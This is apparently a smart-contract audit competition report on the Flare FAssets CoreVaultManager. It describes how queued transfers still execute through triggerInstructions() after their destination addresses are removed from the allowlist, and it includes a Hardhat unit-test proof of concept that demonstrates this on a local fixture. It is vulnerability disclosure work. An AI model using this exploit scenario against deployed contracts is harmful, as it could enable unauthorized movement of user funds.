#47159 [SC-Insight] Lack of Access Control on `triggerInstructions()` Allows Unauthorized Transfers Post-Deletion
Submitted on Jun 9th 2025 at 09:43:25 UTC by @Pig46940 for Audit Comp | Flare | FAssets
Report ID: #47159
Report Type: Smart Contract
Report severity: Insight
Target: https://github.com/flare-foundation/fassets/blob/main/contracts/assetManager/implementation/CoreVaultManager.sol
Impacts:
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Theft of unclaimed yield
Permanent freezing of funds
Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
The CoreVaultManager
contract allows transfers to predefined destination addresses. However, due to insufficient access control logic during triggerInstructions()
, later removed allowed addresses from the allowed list—yet still trigger the transfers. User or Agent can send funds to an unauthorized address and possibly vanish the funds.
Vulnerability Details
Root Cause
The function triggerInstructions()
does not revalidate whether the destination addresses in queued transfer requests are still present in the allowed destination address list. As a result, once a request is added with an allowed address, it remains executable even if the address is later removed.
Exploit Scenario
A privileged user adds
destinationAddress1
anddestinationAddress2
to the list of allowed destination addresses.Transfer requests are created using
requestTransferFromCoreVault()
for those addresses.The same user removes the addresses from the allowed list using
removeAllowedDestinationAddresses()
.The function
triggerInstructions()
is called by user or agent, and executes the queued transfers to the now unauthorized destination addresses.
This violates the assumption that only currently allowed addresses should ever receive funds, potentially allowing malicious or unintended fund transfers.
Impact Details
Transfers to removed destination addresses are executed, even when such addresses are no longer authorized. This enables:
Griefing: Governance can’t cancel transfers even if the destination becomes invalid or compromised.
Policy Bypass: Violates destination allowlist enforcement.
Loss of Trust: Funds may be irreversibly sent to addresses that are no longer permitted.
References
Proof of Concept
Proof of Concept
Setup and run
$ cd fassets/test/unit/fasset/implementation
$ touch CoreVaultManagerDestinationBugTest.ts
$ vim # Paste PoC code
$ yarn hardhat test ./test/unit/fasset/implementation/CoreVaultManagerDestinationBugTest.ts
PoC code
import { expectEvent, expectRevert, time } from "@openzeppelin/test-helpers";
import {
AddressUpdaterInstance,
CoreVaultManagerInstance,
CoreVaultManagerProxyInstance,
GovernanceSettingsInstance,
MockContractInstance,
} from "../../../../typechain-truffle";
import { GENESIS_GOVERNANCE_ADDRESS } from "../../../utils/constants";
import { getTestFile, loadFixtureCopyVars } from "../../../utils/test-helpers";
import { Payment } from "@flarenetwork/state-connector-protocol/dist/generated/types/typescript/Payment";
import { abiEncodeCall, erc165InterfaceId, ZERO_BYTES32 } from "../../../../lib/utils/helpers";
import { assertWeb3DeepEqual, assertWeb3Equal } from "../../../utils/web3assertions";
import { ZERO_ADDRESS } from "../../../../deployment/lib/deploy-utils";
import { ZERO_BYTES_32 } from "@flarenetwork/state-connector-protocol";
const CoreVaultManager = artifacts.require("CoreVaultManager");
const CoreVaultManagerProxy = artifacts.require("CoreVaultManagerProxy");
const GovernanceSettings = artifacts.require("GovernanceSettings");
const AddressUpdater = artifacts.require("AddressUpdater");
const MockContract = artifacts.require("MockContract");
contract(`CoreVaultManager.sol; ${getTestFile(__filename)}; Destination Address Deletion Vulnerability`, async (accounts) => {
let coreVaultManager: CoreVaultManagerInstance;
let coreVaultManagerProxy: CoreVaultManagerProxyInstance;
let coreVaultManagerImplementation: CoreVaultManagerInstance;
let addressUpdater: AddressUpdaterInstance;
let fdcVerification: MockContractInstance;
let governanceSettings: GovernanceSettingsInstance;
const governance = accounts[1000];
const assetManager = accounts[101];
const triggererAccount = accounts[1];
const chainId = web3.utils.keccak256("123");
const standardPaymentReference = web3.utils.keccak256("standardPaymentReference");
const custodianAddress = "custodianAddress";
const coreVaultAddress = "coreVaultAddress";
const DAY = 24 * 3600;
async function initialize() {
// create governance settings
governanceSettings = await GovernanceSettings.new();
await governanceSettings.initialise(governance, 60, [governance], {
from: GENESIS_GOVERNANCE_ADDRESS,
});
// create address updater
addressUpdater = await AddressUpdater.new(governance);
// create core vault manager
coreVaultManagerImplementation = await CoreVaultManager.new();
coreVaultManagerProxy = await CoreVaultManagerProxy.new(
coreVaultManagerImplementation.address,
governanceSettings.address,
governance,
addressUpdater.address,
assetManager,
chainId,
custodianAddress,
coreVaultAddress,
0
);
coreVaultManager = await CoreVaultManager.at(coreVaultManagerProxy.address);
fdcVerification = await MockContract.new();
await fdcVerification.givenAnyReturnBool(true);
await addressUpdater.update(
["AddressUpdater", "FdcVerification"],
[addressUpdater.address, fdcVerification.address],
[coreVaultManager.address],
{ from: governance }
);
return { coreVaultManager };
}
beforeEach(async () => {
({ coreVaultManager } = await loadFixtureCopyVars(initialize));
});
describe("Destination Address Deletion Vulnerability with requestTransferFromCoreVault", async () => {
const preimageHash1 = web3.utils.keccak256("hash1");
const preimageHash2 = web3.utils.keccak256("hash2");
const escrowTimeSeconds = 3600;
const destinationAddress1 = "destinationAddress1";
const destinationAddress2 = "destinationAddress2";
const destinationAddress3 = "destinationAddress3";
beforeEach(async () => {
// add triggering accounts
await coreVaultManager.addTriggeringAccounts([triggererAccount], {
from: governance,
});
// settings
await coreVaultManager.updateSettings(escrowTimeSeconds, 200, 300, 15, { from: governance });
// add preimage hashes
await coreVaultManager.addPreimageHashes([preimageHash1, preimageHash2], {
from: governance,
});
// add allowed destination addresses
await coreVaultManager.addAllowedDestinationAddresses(
[destinationAddress1, destinationAddress2, destinationAddress3],
{ from: governance }
);
// current timestamp
const currentTimestamp = await time.latest();
const startOfNextDay = currentTimestamp.addn(DAY - currentTimestamp.modn(DAY));
await time.increaseTo(startOfNextDay);
});
it("should prove vulnerability: triggerInstructions works after destination address deletion with non-cancelable requests", async () => {
console.log("===== STEP 1: Initial Setup =====");
// Setup: Fund the vault
const transactionId = web3.utils.keccak256("transactionId");
const initialAmount = 10000;
const proof = createPaymentProof(transactionId, initialAmount);
await coreVaultManager.confirmPayment(proof);
let availableFunds = await coreVaultManager.availableFunds();
console.log("Initial availableFunds:", availableFunds.toString());
// Verify destination addresses are allowed
const allowedAddressesBefore = await coreVaultManager.getAllowedDestinationAddresses();
console.log("Allowed destination addresses before:", allowedAddressesBefore);
console.log("destinationAddress1 allowed:", allowedAddressesBefore.includes(destinationAddress1));
console.log("destinationAddress2 allowed:", allowedAddressesBefore.includes(destinationAddress2));
console.log("===== STEP 2: Create Non-Cancelable Transfer Requests =====");
// Create non-cancelable transfer requests using requestTransferFromCoreVault
const transferAmount1 = 1000;
const transferAmount2 = 1500;
const paymentRef1 = web3.utils.keccak256("paymentRef1");
const paymentRef2 = web3.utils.keccak256("paymentRef2");
// Create first non-cancelable transfer request
await coreVaultManager.requestTransferFromCoreVault(
destinationAddress1,
paymentRef1,
transferAmount1,
false, // non-cancelable
{ from: assetManager }
);
console.log(`Created non-cancelable transfer request: ${transferAmount1} to ${destinationAddress1}`);
// Create second non-cancelable transfer request
await coreVaultManager.requestTransferFromCoreVault(
destinationAddress2,
paymentRef2,
transferAmount2,
false, // non-cancelable
{ from: assetManager }
);
console.log(`Created non-cancelable transfer request: ${transferAmount2} to ${destinationAddress2}`);
// Verify transfer requests were created
const nonCancelableRequests = await coreVaultManager.getNonCancelableTransferRequests();
console.log("Non-cancelable transfer requests created:", nonCancelableRequests.length);
for (let i = 0; i < nonCancelableRequests.length; i++) {
console.log(`Request ${i}: ${nonCancelableRequests[i].amount} to ${nonCancelableRequests[i].destinationAddress}`);
}
console.log("===== STEP 3: VULNERABILITY - Remove Destination Addresses =====");
// NOW THE VULNERABILITY: Remove destination addresses after transfer requests are created
await coreVaultManager.removeAllowedDestinationAddresses(
[destinationAddress1, destinationAddress2],
{ from: governance }
);
// Verify addresses are now removed
const allowedAddressesAfter = await coreVaultManager.getAllowedDestinationAddresses();
console.log("Allowed destination addresses after removal:", allowedAddressesAfter);
console.log("destinationAddress1 allowed after removal:", allowedAddressesAfter.includes(destinationAddress1));
console.log("destinationAddress2 allowed after removal:", allowedAddressesAfter.includes(destinationAddress2));
console.log("===== STEP 4: THE BUG - triggerInstructions still works! =====");
// Check funds before triggering
const fundsBeforeTrigger = await coreVaultManager.availableFunds();
console.log("Available funds before triggerInstructions:", fundsBeforeTrigger.toString());
// This should fail because destination addresses are no longer allowed
// But due to the vulnerability, it will succeed
const result = await coreVaultManager.triggerInstructions({ from: triggererAccount });
console.log("===== VULNERABILITY CONFIRMED =====");
console.log("triggerInstructions succeeded even though destination addresses were removed!");
console.log("Transaction result:", result.tx);
// Check if PaymentInstructions events were emitted (proving transfers were processed)
const paymentEvents = result.logs.filter(log => log.event === 'PaymentInstructions');
console.log("PaymentInstructions events emitted:", paymentEvents.length);
// Show the state after the unauthorized execution
const finalAvailableFunds = await coreVaultManager.availableFunds();
const finalEscrowedFunds = await coreVaultManager.escrowedFunds();
console.log("Final availableFunds:", finalAvailableFunds.toString());
console.log("Final escrowedFunds:", finalEscrowedFunds.toString());
// Check remaining transfer requests
const remainingRequests = await coreVaultManager.getNonCancelableTransferRequests();
console.log("Remaining non-cancelable requests:", remainingRequests.length);
// This test proves the vulnerability exists
assert.fail(
"VULNERABILITY CONFIRMED: triggerInstructions executed transfers to unauthorized destination addresses!"
);
});
});
function createPaymentProof(
_transactionId: string,
_amount: number,
_status = "0",
_chainId = chainId,
_receivingAddressHash = web3.utils.keccak256(coreVaultAddress),
_standardPaymentReference = standardPaymentReference
): Payment.Proof {
const requestBody: Payment.RequestBody = {
transactionId: _transactionId,
inUtxo: "0",
utxo: "0",
};
const responseBody: Payment.ResponseBody = {
blockNumber: "0",
blockTimestamp: "0",
sourceAddressHash: ZERO_BYTES32,
sourceAddressesRoot: ZERO_BYTES32,
receivingAddressHash: _receivingAddressHash,
intendedReceivingAddressHash: _receivingAddressHash,
standardPaymentReference: _standardPaymentReference,
spentAmount: "0",
intendedSpentAmount: "0",
receivedAmount: String(_amount),
intendedReceivedAmount: String(_amount),
oneToOne: false,
status: _status,
};
const response: Payment.Response = {
attestationType: Payment.TYPE,
sourceId: _chainId,
votingRound: "0",
lowestUsedTimestamp: "0",
requestBody: requestBody,
responseBody: responseBody,
};
const proof: Payment.Proof = {
merkleProof: [],
data: response,
};
return proof;
}
});
Was this helpful?